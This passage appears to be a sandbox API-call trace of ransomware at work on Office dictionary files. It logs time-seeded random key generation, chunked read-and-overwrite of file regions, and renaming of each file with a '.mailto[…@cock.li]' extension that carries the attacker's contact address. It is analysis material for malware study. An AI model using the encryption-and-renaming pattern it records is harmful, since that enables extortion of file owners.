Seed=0xd49f9fc | out: Seed=0xd49f9fc) returned 0x60603e39 [0054.935] RtlRandomEx (in: Seed=0xd49f9fc | out: Seed=0xd49f9fc) returned 0x5276f2d2 [0054.935] RtlRandomEx (in: Seed=0xd49f9fc | out: Seed=0xd49f9fc) returned 0x607da9b7 [0054.935] RtlRandomEx (in: Seed=0xd49f9fc | out: Seed=0xd49f9fc) returned 0x3e4b51ec [0054.935] RtlRandomEx (in: Seed=0xd49f9fc | out: Seed=0xd49f9fc) returned 0x42b2b31e [0054.935] RtlRandomEx (in: Seed=0xd49f9fc | out: Seed=0xd49f9fc) returned 0x7129862 [0054.947] SetFilePointerEx (in: hFile=0xf7c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.947] ReadFile (in: hFile=0xf7c, lpBuffer=0x9785860, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xd49f9a8, lpOverlapped=0x0 | out: lpBuffer=0x9785860*, lpNumberOfBytesRead=0xd49f9a8*=0xc800, lpOverlapped=0x0) returned 1 [0054.948] SetFilePointerEx (in: hFile=0xf7c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.949] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44bd30 [0054.949] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x418cf8 [0054.949] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4600f8 [0054.949] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4600f8) returned 1 [0054.949] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x9792068 [0054.953] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4600f8 [0054.953] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460238 [0054.953] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460238) returned 1 [0054.953] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418cf8) returned 1 [0054.953] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bd30) returned 1 [0054.953] WriteFile (in: hFile=0xf7c, lpBuffer=0x9792068*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xd49f9a8, lpOverlapped=0x0 | out: lpBuffer=0x9792068*, lpNumberOfBytesWritten=0xd49f9a8*=0xc800, lpOverlapped=0x0) returned 1 [0055.953] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x9792068) returned 1 [0055.953] SetFilePointerEx (in: hFile=0xf7c, liDistanceToMove=0xd4800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.955] ReadFile (in: hFile=0xf7c, lpBuffer=0x9785860, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xd49f9a8, lpOverlapped=0x0 | out: lpBuffer=0x9785860*, lpNumberOfBytesRead=0xd49f9a8*=0xc800, lpOverlapped=0x0) returned 1 [0055.957] SetFilePointerEx (in: hFile=0xf7c, liDistanceToMove=0xd4800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.957] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44bce8 [0055.957] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x418de8 [0055.957] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441528 [0055.957] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441528) returned 1 [0055.958] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x9760048 [0055.959] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441528 [0055.959] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4412a8 [0055.959] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4412a8) returned 1 [0055.959] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418de8) returned 1 [0055.959] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bce8) returned 1 [0055.959] WriteFile (in: hFile=0xf7c, lpBuffer=0x9760048*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xd49f9a8, lpOverlapped=0x0 | out: lpBuffer=0x9760048*, lpNumberOfBytesWritten=0xd49f9a8*=0xc800, lpOverlapped=0x0) returned 1 [0059.107] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x9760048) returned 1 [0059.107] SetFilePointerEx (in: hFile=0xf7c, liDistanceToMove=0x186cce, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.107] ReadFile (in: hFile=0xf7c, lpBuffer=0x9785860, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xd49f9a8, lpOverlapped=0x0 | out: lpBuffer=0x9785860*, lpNumberOfBytesRead=0xd49f9a8*=0xc800, lpOverlapped=0x0) returned 1 [0059.111] SetFilePointerEx (in: hFile=0xf7c, liDistanceToMove=0x186cce, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.111] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c318 [0059.111] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x437a30 [0059.111] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428aa0 [0059.111] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428aa0) returned 1 [0059.112] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x9760048 [0059.113] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428aa0 [0059.113] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428bb8 [0059.113] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428bb8) returned 1 [0059.113] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437a30) returned 1 [0059.113] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c318) returned 1 [0059.113] WriteFile (in: hFile=0xf7c, lpBuffer=0x9760048*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xd49f9a8, lpOverlapped=0x0 | out: lpBuffer=0x9760048*, lpNumberOfBytesWritten=0xd49f9a8*=0xc800, lpOverlapped=0x0) returned 1 [0064.392] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x9760048) returned 1 [0064.392] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x60) returned 0x445c40 [0064.392] SetFilePointerEx (in: hFile=0xf7c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.392] WriteFile (hFile=0xf7c, lpBuffer=0x12d05808, nNumberOfBytesToWrite=0x145, lpNumberOfBytesWritten=0xd49fa50, lpOverlapped=0x0) Thread: id = 550 os_tid = 0xf88 [0049.356] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADVTEL.DIC" (normalized: "c:\\program files\\microsoft office\\office14\\advtel.dic")) returned 0x20 [0051.865] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADVTEL.DIC", dwFileAttributes=0x20) returned 1 [0054.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADVTEL.DIC" (normalized: "c:\\program files\\microsoft office\\office14\\advtel.dic"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xf78 [0054.908] GetFileSizeEx (in: hFile=0xf78, lpFileSize=0xd5dfb20 | out: lpFileSize=0xd5dfb20*=3809238) returned 1 [0054.908] SetFilePointerEx (in: hFile=0xf78, liDistanceToMove=0x3a1fd2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.908] ReadFile (in: hFile=0xf78, lpBuffer=0xd5dfaa4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xd5dfaa0, lpOverlapped=0x0 | out: lpBuffer=0xd5dfaa4*, lpNumberOfBytesRead=0xd5dfaa0*=0x4, lpOverlapped=0x0) returned 1 [0054.910] SetFilePointerEx (in: hFile=0xf78, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.910] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460030 [0054.910] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460058 [0054.910] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4600f8 [0054.910] NtQuerySystemTime (in: CurrentTime=0xd5dfa80 | out: CurrentTime=0xd5dfa80*=132174898188888000) returned 0x0 [0054.910] RtlRandomEx (in: Seed=0xd5dfa8c | out: Seed=0xd5dfa8c) returned 0x3e87ffcc [0054.910] RtlRandomEx (in: Seed=0xd5dfa8c | out: Seed=0xd5dfa8c) returned 0x56604bf9 [0054.910] RtlRandomEx (in: Seed=0xd5dfa8c | out: Seed=0xd5dfa8c) returned 0x6136f8cd [0054.910] RtlRandomEx (in: Seed=0xd5dfa8c | out: Seed=0xd5dfa8c) returned 0x26cfcd9 [0054.910] RtlRandomEx (in: Seed=0xd5dfa8c | out: Seed=0xd5dfa8c) returned 0x17093b7b [0054.910] RtlRandomEx (in: Seed=0xd5dfa8c | out: Seed=0xd5dfa8c) returned 0x5b23c035 [0054.910] RtlRandomEx (in: Seed=0xd5dfa8c | out: Seed=0xd5dfa8c) returned 0x593f47f6 [0054.910] RtlRandomEx (in: Seed=0xd5dfa8c | out: Seed=0xd5dfa8c) returned 0x6db6a0f9 [0054.910] RtlRandomEx (in: Seed=0xd5dfa8c | out: Seed=0xd5dfa8c) returned 0x39dc0e68 [0054.910] RtlRandomEx (in: Seed=0xd5dfa8c | out: Seed=0xd5dfa8c) returned 0x569abe6d [0054.910] RtlRandomEx (in: Seed=0xd5dfa8c | out: Seed=0xd5dfa8c) returned 0xdd60f85 [0054.910] RtlRandomEx (in: Seed=0xd5dfa8c | out: Seed=0xd5dfa8c) returned 0x14630724 [0054.910] RtlRandomEx (in: Seed=0xd5dfa8c | out: Seed=0xd5dfa8c) returned 0x47baf32c [0054.911] RtlRandomEx (in: Seed=0xd5dfa8c | out: Seed=0xd5dfa8c) returned 0x15116be4 [0054.911] RtlRandomEx (in: Seed=0xd5dfa8c | out: Seed=0xd5dfa8c) returned 0x3e3ce824 [0054.911] RtlRandomEx (in: Seed=0xd5dfa8c | out: Seed=0xd5dfa8c) returned 0x69f72e88 [0054.911] RtlRandomEx (in: Seed=0xd5dfa8c | out: Seed=0xd5dfa8c) returned 0x35aca9da [0054.911] RtlRandomEx (in: Seed=0xd5dfa8c | out: Seed=0xd5dfa8c) returned 0x7d16c9a6 [0054.911] RtlRandomEx (in: Seed=0xd5dfa8c | out: Seed=0xd5dfa8c) returned 0x393b9fb4 [0054.911] RtlRandomEx (in: Seed=0xd5dfa8c | out: Seed=0xd5dfa8c) returned 0x9eed53d [0054.911] RtlRandomEx (in: Seed=0xd5dfa8c | out: Seed=0xd5dfa8c) returned 0x1cd6e928 [0054.911] RtlRandomEx (in: Seed=0xd5dfa8c | out: Seed=0xd5dfa8c) returned 0x5d626816 [0054.911] RtlRandomEx (in: Seed=0xd5dfa8c | out: Seed=0xd5dfa8c) returned 0x6f2e868 [0054.911] RtlRandomEx (in: Seed=0xd5dfa8c | out: Seed=0xd5dfa8c) returned 0x1cc777f2 [0054.911] RtlRandomEx (in: Seed=0xd5dfa8c | out: Seed=0xd5dfa8c) returned 0x40a3bbb1 [0054.911] RtlRandomEx (in: Seed=0xd5dfa8c | out: Seed=0xd5dfa8c) returned 0x394f375f [0054.911] RtlRandomEx (in: Seed=0xd5dfa8c | out: Seed=0xd5dfa8c) returned 0x44935455 [0054.911] RtlRandomEx (in: Seed=0xd5dfa8c | out: Seed=0xd5dfa8c) returned 0x7d4e3e26 [0054.911] RtlRandomEx (in: Seed=0xd5dfa8c | out: Seed=0xd5dfa8c) returned 0xc1bf3be [0054.911] RtlRandomEx (in: Seed=0xd5dfa8c | out: Seed=0xd5dfa8c) returned 0x5e0f2278 [0054.911] RtlRandomEx (in: Seed=0xd5dfa8c | out: Seed=0xd5dfa8c) returned 0x38328bff [0054.911] RtlRandomEx (in: Seed=0xd5dfa8c | out: Seed=0xd5dfa8c) returned 0x5d11a60d [0054.924] SetFilePointerEx (in: hFile=0xf78, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.924] ReadFile (in: hFile=0xf78, lpBuffer=0x976c850, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xd5dfa38, lpOverlapped=0x0 | out: lpBuffer=0x976c850*, lpNumberOfBytesRead=0xd5dfa38*=0xc800, lpOverlapped=0x0) returned 1 [0054.926] SetFilePointerEx (in: hFile=0xf78, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.926] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44bd30 [0054.926] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x418cf8 [0054.926] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460030 [0054.926] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460030) returned 1 [0054.927] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x9779058 [0054.931] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460030 [0054.931] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4600f8 [0054.931] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4600f8) returned 1 [0054.931] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418cf8) returned 1 [0054.931] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bd30) returned 1 [0054.931] WriteFile (in: hFile=0xf78, lpBuffer=0x9779058*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xd5dfa38, lpOverlapped=0x0 | out: lpBuffer=0x9779058*, lpNumberOfBytesWritten=0xd5dfa38*=0xc800, lpOverlapped=0x0) returned 1 [0055.947] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x9779058) returned 1 [0055.947] SetFilePointerEx (in: hFile=0xf78, liDistanceToMove=0x1db000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.947] ReadFile (in: hFile=0xf78, lpBuffer=0x976c850, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xd5dfa38, lpOverlapped=0x0 | out: lpBuffer=0x976c850*, lpNumberOfBytesRead=0xd5dfa38*=0xc800, lpOverlapped=0x0) returned 1 [0055.953] SetFilePointerEx (in: hFile=0xf78, liDistanceToMove=0x1db000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.953] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44bce8 [0055.953] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x418de8 [0055.953] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441550 [0055.953] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441550) returned 1 [0055.954] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x9792068 [0055.955] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441550 [0055.955] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441190 [0055.955] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441190) returned 1 [0055.955] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418de8) returned 1 [0055.955] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bce8) returned 1 [0055.955] WriteFile (in: hFile=0xf78, lpBuffer=0x9792068*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xd5dfa38, lpOverlapped=0x0 | out: lpBuffer=0x9792068*, lpNumberOfBytesWritten=0xd5dfa38*=0xc800, lpOverlapped=0x0) returned 1 [0059.103] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x9792068) returned 1 [0059.104] SetFilePointerEx (in: hFile=0xf78, liDistanceToMove=0x3957d6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.104] ReadFile (in: hFile=0xf78, lpBuffer=0x976c850, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xd5dfa38, lpOverlapped=0x0 | out: lpBuffer=0x976c850*, lpNumberOfBytesRead=0xd5dfa38*=0xc800, lpOverlapped=0x0) returned 1 [0059.104] SetFilePointerEx (in: hFile=0xf78, liDistanceToMove=0x3957d6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.104] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c318 [0059.105] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x437a30 [0059.105] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428a78 [0059.105] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428a78) returned 1 [0059.105] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x9792068 [0059.106] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428a78 [0059.106] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428aa0 [0059.106] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428aa0) returned 1 [0059.106] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437a30) returned 1 [0059.106] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c318) returned 1 [0059.106] WriteFile (in: hFile=0xf78, lpBuffer=0x9792068*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xd5dfa38, lpOverlapped=0x0 | out: lpBuffer=0x9792068*, lpNumberOfBytesWritten=0xd5dfa38*=0xc800, lpOverlapped=0x0) returned 1 [0064.386] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x9792068) returned 1 [0064.386] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x60) returned 0x445c40 [0064.386] SetFilePointerEx (in: hFile=0xf78, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.386] WriteFile (in: hFile=0xf78, lpBuffer=0x12d05808*, nNumberOfBytesToWrite=0x145, lpNumberOfBytesWritten=0xd5dfae0, lpOverlapped=0x0 | out: lpBuffer=0x12d05808*, lpNumberOfBytesWritten=0xd5dfae0*=0x145, lpOverlapped=0x0) returned 1 [0064.388] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d05808) returned 1 [0064.388] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ceb40) returned 1 [0064.388] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460030) returned 1 [0064.388] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cebd0) returned 1 [0064.388] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x445c40) returned 1 [0064.388] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460058) returned 1 [0064.388] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4601c0) returned 1 [0064.388] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460260) returned 1 [0064.388] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb4) returned 0x5e02960 [0064.388] wcscpy (in: _Dest=0x5e02960, _Source="C:\\Program Files\\Microsoft Office\\Office14\\ADVTEL.DIC" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADVTEL.DIC") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADVTEL.DIC" [0064.388] wcscat (in: _Dest=0x5e02960, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADVTEL.DIC.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADVTEL.DIC.mailto[2Hamlampampom@cock.li].cd46d" [0064.388] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\ADVTEL.DIC.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xd5dfa98, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\ADVTEL.DIC.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0064.388] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xca) returned 0x40d898 [0064.390] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40d898) returned 1 [0064.390] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4d79e0) returned 1 [0064.390] NtQueryInformationFile (in: FileHandle=0xf78, IoStatusBlock=0xd5dfaa4, FileInformation=0xd5dfa7c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xd5dfaa4, FileInformation=0xd5dfa7c) returned 0x0 [0064.390] NtSetInformationFile (FileHandle=0xf78, IoStatusBlock=0xd5dfaa4, FileInformation=0xd5dfa7c, Length=0x28, FileInformationClass=0x4) returned 0x0 [0064.391] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e02960) returned 1 [0064.391] FlushFileBuffers (hFile=0xf78) returned 1 [0066.229] CloseHandle (hObject=0xf78) Thread: id = 551 os_tid = 0xf8c [0049.356] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADVZIP.DIC" (normalized: "c:\\program files\\microsoft office\\office14\\advzip.dic")) returned 0x20 [0051.865] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADVZIP.DIC", dwFileAttributes=0x20) returned 1 [0054.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADVZIP.DIC" (normalized: "c:\\program files\\microsoft office\\office14\\advzip.dic"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xf74 [0054.877] GetFileSizeEx (in: hFile=0xf74, lpFileSize=0x42afb8c | out: lpFileSize=0x42afb8c*=3024356) returned 1 [0054.886] SetFilePointerEx (in: hFile=0xf74, liDistanceToMove=0x2e25e0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.888] ReadFile (in: hFile=0xf74, lpBuffer=0x42afb10, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x42afb0c, lpOverlapped=0x0 | out: lpBuffer=0x42afb10*, lpNumberOfBytesRead=0x42afb0c*=0x4, lpOverlapped=0x0) returned 1 [0054.889] SetFilePointerEx (in: hFile=0xf74, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.890] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460198 [0054.890] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460148 [0054.890] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460030 [0054.890] NtQuerySystemTime (in: CurrentTime=0x42afaec | out: CurrentTime=0x42afaec*=132174898188732000) returned 0x0 [0054.890] RtlRandomEx (in: Seed=0x42afaf8 | out: Seed=0x42afaf8) returned 0x424bbe03 [0054.890] RtlRandomEx (in: Seed=0x42afaf8 | out: Seed=0x42afaf8) returned 0x2e43d235 [0054.890] RtlRandomEx (in: Seed=0x42afaf8 | out: Seed=0x42afaf8) returned 0x10ccfd8 [0054.890] RtlRandomEx (in: Seed=0x42afaf8 | out: Seed=0x42afaf8) returned 0x2c73e99a [0054.890] RtlRandomEx (in: Seed=0x42afaf8 | out: Seed=0x42afaf8) returned 0x67dc806f [0054.890] RtlRandomEx (in: Seed=0x42afaf8 | out: Seed=0x42afaf8) returned 0x7764e8e4 [0054.890] RtlRandomEx (in: Seed=0x42afaf8 | out: Seed=0x42afaf8) returned 0x36d91e0 [0054.890] RtlRandomEx (in: Seed=0x42afaf8 | out: Seed=0x42afaf8) returned 0x55ea3bcb [0054.890] RtlRandomEx (in: Seed=0x42afaf8 | out: Seed=0x42afaf8) returned 0x5a33e94e [0054.890] RtlRandomEx (in: Seed=0x42afaf8 | out: Seed=0x42afaf8) returned 0x56c5972d [0054.890] RtlRandomEx (in: Seed=0x42afaf8 | out: Seed=0x42afaf8) returned 0x7b2b170f [0054.890] RtlRandomEx (in: Seed=0x42afaf8 | out: Seed=0x42afaf8) returned 0x6187d00e [0054.890] RtlRandomEx (in: Seed=0x42afaf8 | out: Seed=0x42afaf8) returned 0x5bb1b001 [0054.890] RtlRandomEx (in: Seed=0x42afaf8 | out: Seed=0x42afaf8) returned 0x5b3ae8d [0054.890] RtlRandomEx (in: Seed=0x42afaf8 | out: Seed=0x42afaf8) returned 0xc7227ce [0054.890] RtlRandomEx (in: Seed=0x42afaf8 | out: Seed=0x42afaf8) returned 0x2336f574 [0054.890] RtlRandomEx (in: Seed=0x42afaf8 | out: Seed=0x42afaf8) returned 0x2af13189 [0054.890] RtlRandomEx (in: Seed=0x42afaf8 | out: Seed=0x42afaf8) returned 0x5942b5cc [0054.890] RtlRandomEx (in: Seed=0x42afaf8 | out: Seed=0x42afaf8) returned 0x3715e09f [0054.890] RtlRandomEx (in: Seed=0x42afaf8 | out: Seed=0x42afaf8) returned 0x7909e016 [0054.890] RtlRandomEx (in: Seed=0x42afaf8 | out: Seed=0x42afaf8) returned 0x2a3ebc82 [0054.890] RtlRandomEx (in: Seed=0x42afaf8 | out: Seed=0x42afaf8) returned 0x104137d [0054.890] RtlRandomEx (in: Seed=0x42afaf8 | out: Seed=0x42afaf8) returned 0x4928ae32 [0054.890] RtlRandomEx (in: Seed=0x42afaf8 | out: Seed=0x42afaf8) returned 0x1164af0e [0054.890] RtlRandomEx (in: Seed=0x42afaf8 | out: Seed=0x42afaf8) returned 0x406301c2 [0054.890] RtlRandomEx (in: Seed=0x42afaf8 | out: Seed=0x42afaf8) returned 0x6ecd3afc [0054.890] RtlRandomEx (in: Seed=0x42afaf8 | out: Seed=0x42afaf8) returned 0x1968711b [0054.891] RtlRandomEx (in: Seed=0x42afaf8 | out: Seed=0x42afaf8) returned 0x5e3b138b [0054.891] RtlRandomEx (in: Seed=0x42afaf8 | out: Seed=0x42afaf8) returned 0x7fff1ae4 [0054.891] RtlRandomEx (in: Seed=0x42afaf8 | out: Seed=0x42afaf8) returned 0x159a8806 [0054.891] RtlRandomEx (in: Seed=0x42afaf8 | out: Seed=0x42afaf8) returned 0x3eac9d2e [0054.891] RtlRandomEx (in: Seed=0x42afaf8 | out: Seed=0x42afaf8) returned 0x101baa [0054.903] SetFilePointerEx (in: hFile=0xf74, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.903] ReadFile (in: hFile=0xf74, lpBuffer=0x9753840, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x42afaa4, lpOverlapped=0x0 | out: lpBuffer=0x9753840*, lpNumberOfBytesRead=0x42afaa4*=0xc800, lpOverlapped=0x0) returned 1 [0054.905] SetFilePointerEx (in: hFile=0xf74, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.905] RtlAllocateHeap 